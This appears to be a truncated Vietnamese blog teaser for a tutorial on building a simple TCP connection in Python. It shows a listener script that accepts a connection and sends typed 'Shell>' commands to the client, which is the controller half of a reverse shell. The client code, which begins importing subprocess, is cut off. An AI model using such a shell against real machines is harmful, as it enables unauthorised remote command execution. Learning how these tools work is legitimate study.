Tcp Connection và tùy chỉnh giả lập
1. Viết Tcp Connection đơn giản với Python tcpServer.py tcpClient import socketdef connect(): s = socket.socket() s.bind((“0.0.0.0”,12345)) s.listen(1) conn , addr = s.accept() print(‘[+] We got a connection from’, addr) while True: command = input(“Shell> “) if ‘terminate’ in command: conn.send(‘terminate’.encode()) conn.close() break else: try: conn.send(command.encode()) print(conn.recv(4096).decode()) except ValueError as ve: print(ve)connect() import socketimport subprocess def […]
Continue Reading